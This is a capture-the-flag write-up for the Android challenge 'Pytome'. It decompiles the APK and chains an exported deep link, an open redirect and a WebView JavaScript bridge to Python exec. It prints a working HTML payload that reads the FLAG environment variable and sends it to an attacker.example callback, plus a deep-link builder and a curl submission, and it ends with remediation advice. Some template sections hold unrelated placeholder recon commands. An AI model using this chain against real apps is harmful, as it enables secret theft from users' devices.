Pytome
Pytome
Platform: Avitoctf | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-23 | Status: Solved Techniques: apk_static_analysis, deep_link_abuse, webview_bridge_exploitation, open_redirect_chaining, environment_variable_exfiltration
Summary
Task: Analyze an Android APK whose runtime secret is placed in a Python environment variable and whose documentation opens in a WebView. Solution: Chain a reviewer deep link with an open redirect, retain the JavaScript bridge, execute Python, and exfiltrate its output.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260723_avitoctf_pytome - Tags: python, android, open_redirect, webview, javascript_interface, chaquopy
- Indicators: exported BROWSABLE activity with a custom URI scheme, JavaScript-enabled WebView exposes AndroidBridge.eval, allowlisted initial URL can redirect cross-origin, Python builtins.exec receives bridge-controlled code, FLAG arrives through an Intent extra
- Source:
20260723_avitoctf_pytome.md
Foothold
Vulnerability / Misconfiguration
- Apk_static_analysis
- Deep_link_abuse
- Webview_bridge_exploitation
- Open_redirect_chaining
- Environment_variable_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- apk_static_analysis
- deep_link_abuse
- webview_bridge_exploitation
- open_redirect_chaining
- environment_variable_exfiltration
- Tags: python, android, open_redirect, webview, javascript_interface, chaquopy
Original Writeup
<details><summary>Click to expand original content</summary>Description
Перед вами Pytome — защищенная от пчёл-вайбкодеров мобильная платформа по передаче вымирающего знания программирования на питоне, разработанная медоедами для медоедов. Медоеды очень боятся слить свои переменные окружения в приложении, особенно FLAG=..., пчёлам. Помоги им понять, возможно ли это сделать.
The supplied artifact was an Android APK for a Python learning application. The goal was to determine whether the secret environment variable in the organizer's Android instance could be disclosed.
Artifact: https://avitoctf.ru/files/pytome.apk
Challenge Summary
Pytome embeds CPython 3.11 through Chaquopy. Its exported documentation activity accepts a deep link, checks only the first URL's scheme and host, and loads that URL in a JavaScript-enabled WebView. Because an allowlisted endpoint provides an unrestricted redirect, an external page can inherit the exposed AndroidBridge, invoke unrestricted Python execution, read the runtime environment, and send the result to a callback server.
The complete chain was:
- The reviewer opened an attacker-supplied
pytome://docsdeep link. DocsActivityaccepted an allowlisted HTTPS URL.- The allowlisted
/go?to=endpoint redirected the WebView to an external payload. - The JavaScript interface remained available after the cross-origin navigation.
- JavaScript called
AndroidBridge.eval(...), which reached Pythonexec. - Python printed the environment value and JavaScript navigated to an interaction-server URL carrying the result.
Analysis
1. The secret is supplied at runtime
Static APK inspection found no real flag in resources, Chaquopy archives, or application-specific native code. This was expected after reviewing MainActivity: the organizer supplies the value as an Intent string extra when launching the challenge instance.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/MainActivity.java:38-41.
String stringExtra = getIntent().getStringExtra("FLAG");
if (stringExtra != null) {
PythonEngine.INSTANCE.setEnv(stringExtra);
}
PythonEngine.setEnv stores it in CPython's process environment.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:22-38.
PyObject module = python.getModule("os");
PyObject environ = (PyObject) module.get((Object) "environ");
environ.callAttr("__setitem__", "FLAG", env);
Therefore, installing the public APK locally cannot recover the authentic value: a normal launcher start does not provide that Intent extra.
2. Python execution is unrestricted
PythonEngine.execute creates a persistent global dictionary, redirects standard output into a StringIO, and invokes builtins.exec directly on the supplied string.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/PythonEngine.java:42-82.
module = python.getModule("builtins");
if (globalContext == null) {
globalContext = module.callAttr("dict", new Object[0]);
}
pyObjectCallAttr = module2.callAttr("StringIO", new Object[0]);
pyObjectCallAttr2 = module3.callAttr("redirect_stdout", pyObjectCallAttr);
pyObjectCallAttr2.callAttr("__enter__", new Object[0]);
module.callAttr("exec", code, globalContext);
return pyObjectCallAttr.callAttr("getvalue", new Object[0]).toString();
There is no import restriction, builtins reduction, allowlist, denylist, or sandbox. Any caller of execute can import os and print an environment variable.
3. An exported WebView exposes the executor
The decoded manifest declares DocsActivity as exported and browsable for pytome://docs:
<activity
android:name="ru.avitoctf.pytome.DocsActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:host="docs" android:scheme="pytome" />
</intent-filter>
</activity>
DocsActivity enables JavaScript and exposes PythonBridge as AndroidBridge before loading the requested page.
Decompiled reference: jadx/sources/ru/avitoctf/pytome/DocsActivity.java:33-46,68-76.
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new WebViewClient());
webView.addJavascriptInterface(new PythonBridge(), "AndroidBridge");
Uri uri = Uri.parse(queryParameter);
if (uri.getScheme().equals("https") &&
uri.getHost().equals("pytome-57ymra6o.avitoctf.ru")) {
webView.loadUrl(queryParameter);
}
@JavascriptInterface
public final String eval(String code) {
return PythonEngine.INSTANCE.execute(code);
}
The validation applies only to the initial parsed URL. No WebViewClient navigation callback revalidates the origin, and the bridge is not removed when navigation leaves the trusted site.
4. The web service completes the chain
Authorized reconnaissance of the origin found:
/docs/bug-report: a form that queues an Android reviewer to visit itsurlfield./api/bug-report-status/<uuid>: the ticket status endpoint used by the page's polling JavaScript./go?to=...: an unrestricted redirect used throughout the documentation for outbound links.
The redirect is the trust-boundary bypass. A URL beginning on the allowlisted origin passes DocsActivity's check, while the resulting WebView navigation lands on attacker-controlled HTML with AndroidBridge still attached.
Solution
Step 1: Host the payload
Host the following HTML on an HTTPS origin under attacker control. attacker.example represents a generic interaction server and should be replaced with a callback endpoint owned by the solver.
<!doctype html>
<meta charset="utf-8">
<script>
try {
const value = AndroidBridge.eval(
"import os\nprint(os.environ.get('FLAG', 'NO_FLAG'))"
);
location.href =
"https://attacker.example/callback?flag=" + encodeURIComponent(value);
} catch (error) {
location.href =
"https://attacker.example/callback?error=" +
encodeURIComponent(String(error));
}
</script>
The successful solve placed equivalent HTML in a temporary gist and rendered it through htmlpreview.github.io, producing an executable external page. The temporary gists were deleted afterward. Hosting the page directly on a controlled HTTPS server is preferable when available.
Step 2: Construct the nested deep link
There are two encoding layers:
- Put the external payload URL into the
toparameter of the allowlisted redirect. - Put that complete redirect URL into the
urlparameter ofpytome://docs.
The following script constructs the URL without relying on any deleted gist identifier:
#!/usr/bin/env python3
from urllib.parse import quote, urlencode
trusted_origin = "https://pytome-57ymra6o.avitoctf.ru"
payload_url = "https://attacker.example/payload.html"
redirect_url = trusted_origin + "/go?" + urlencode({"to": payload_url})
deep_link = "pytome://docs?url=" + quote(redirect_url, safe="")
print(deep_link)
The result has this structure:
pytome://docs?url=<URL-encoded https://pytome-57ymra6o.avitoctf.ru/go?to=<external payload URL>>
Step 3: Submit it to the Android reviewer
Submit the generated deep link as the bug report's url field. The other fields merely satisfy the form:
curl -sS 'https://pytome-57ymra6o.avitoctf.ru/docs/bug-report' \ --data-urlencode 'name=researcher' \ --data-urlencode 'email=researcher@example.com' \ --data-urlencode 'bug_type=Critical documentation error' \ --data-urlencode 'description=Please review this page' \ --data-urlencode 'url=pytome://docs?url=<ENCODED_REDIRECT_URL>'
The response contains a ticket UUID. Progress can be checked at:
https://pytome-57ymra6o.avitoctf.ru/api/bug-report-status/<TICKET_UUID>
Step 4: Receive the result
The reviewer opened the deep link in an Android 15 WebView. The callback request showed an Android WebView user agent and carried the bridge result in the flag query parameter, including the newline produced by Python's print. The secret itself is redacted here and retained only in the writeup's dedicated metadata field.
Failed Variants
- Static APK search: no authentic value existed in the APK because
MainActivityreceives it at runtime through an Intent extra. data:andjavascript:redirect targets: direct variants did not produce callbacks in the reviewer environment.- Payload hosted directly on webhook.site: its Content Security Policy included
script-src 'none', so the JavaScript payload could not execute. - Rendered temporary gist: serving the HTML through
htmlpreview.github.ioallowed script execution and completed the chain.
Why the Exploit Works
The application treats the initial URL as the security boundary, but the active security principal is the final WebView document. Redirects can change that document's origin after the one-time check. Because addJavascriptInterface attaches a powerful native object to the WebView rather than to one trusted origin, every subsequently loaded page can invoke it.
This becomes critical because the interface is not a narrow documentation API: it forwards arbitrary source to Python exec, and that interpreter contains a runtime secret in os.environ.
Remediation
- Do not expose arbitrary Python evaluation through a JavaScript interface. Replace it with a minimal allowlisted API.
- Remove the bridge before untrusted navigation and expose it only to trusted local content where possible.
- Revalidate every top-level and subframe navigation in
shouldOverrideUrlLoadingandshouldInterceptRequest; reject redirects whose final origin is not allowlisted. - Do not rely on host validation before
loadUrlas protection against redirects. - Remove or strictly constrain
/go?to=to approved destinations. - Make
DocsActivitynon-exported unless external deep links are required; otherwise require authenticated app links and validated inputs. - Avoid placing high-value secrets in a process that intentionally executes user-controlled code.
Local Evidence
jadx/sources/ru/avitoctf/pytome/MainActivity.javajadx/sources/ru/avitoctf/pytome/PythonEngine.javajadx/sources/ru/avitoctf/pytome/DocsActivity.javaapktool/AndroidManifest.xmlweb-recon.jsonbug-report.htmlpayload.htmlwebhook-requests.json- deep-link and submission-response artifacts in the task directory
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR